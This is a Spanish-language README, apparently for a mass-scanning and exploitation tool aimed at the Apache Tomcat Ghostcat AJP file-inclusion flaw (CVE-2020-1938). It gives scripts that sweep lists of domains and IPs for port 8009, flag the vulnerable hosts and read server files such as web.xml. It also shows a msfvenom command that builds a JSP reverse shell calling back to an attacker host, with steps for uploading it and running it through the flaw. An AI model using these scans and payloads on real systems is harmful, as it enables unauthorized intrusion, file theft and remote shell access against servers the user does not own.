
Herramientas de detección CVE-2020-1938 / CNVD-2020-1048
La herramienta es únicamente para investigación de seguridad y auditoría interna. Se prohíbe usarla para realizar ataques ilegales. Las consecuencias derivadas de su uso son responsabilidad del usuario.
Herramienta de detección masiva de la vulnerabilidad de inclusión de archivos de Apache Tomcat (CVE-2020-1938 / CNVD-2020-1048).
Este proyecto se ha modificado a partir del proyecto de Kit4y.
Cuando ip.txt contiene solo 1 dominio o IP, threadCount queda en 1 y el programa en realidad no se ejecuta. Se añade el código para comprobar el número de hilos.
...
if threadCount == 1:
threadCount = 2
for i in range(0,threadCount-1):
...
self.stream = self.socket.makefile("rb", bufsize=0)
print("".join([d.data for d in data]))
if sys.version_info < (3, 0):
self.stream = self.socket.makefile("rb", bufsize=0)
else:
self.stream = self.socket.makefile("rb", buffering=None)
if sys.version_info < (3, 0):
print("".join([d.data for d in data]))
else:
print(b"".join([d.data for d in data]).decode("UTF-8"))
1. Coloque los dominios/IP a escanear en ip.txt, por ejemplo:
127.0.0.1
www.baidu.com
www.google.com
2. python threading-find-port-8009.py
Escanea los dominios/IP en ip.txt para encontrar los que tienen el puerto 8009 abierto y los guarda en el 8009.txt generado.
3. python threading-CNVD-2020-10487-Tomcat-Ajp-lfi.py
Filtra de 8009.txt las URL que cumplen con la vulnerabilidad y las coloca en vul.txt. Finalmente, los dominios presentes en vul.txt son los dominios vulnerables.
python CNVD-2020-10487-Tomcat-Ajp-lfi.py target.com
python CNVD-2020-10487-Tomcat-Ajp-lfi.py -f /WEB-INF/web.xml 192.168.125.128
python CNVD-2020-10487-Tomcat-Ajp-lfi.py -f /index.jsp 192.168.125.128
Por defecto se lee el ROOT de webapps. Cambie “/asdf” por “/test/asdf” para acceder al contenido del directorio test en webapps.
t.perform_request('/asdf',attributes=[
Si el servidor además tiene una vulnerabilidad de subida de archivos, suba el siguiente shell.txt
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.125.130 LPORT=4444 > shell.txt
Cambie “/asdf” por “/asdf.jsp”. Después de iniciar MSF, puede obtener una shell con la herramienta PoC.
https://github.com/0nise/CVE-2020-1938
https://github.com/hypn0s/AJPy
https://github.com/00theway/Ghostcat-CNVD-2020-10487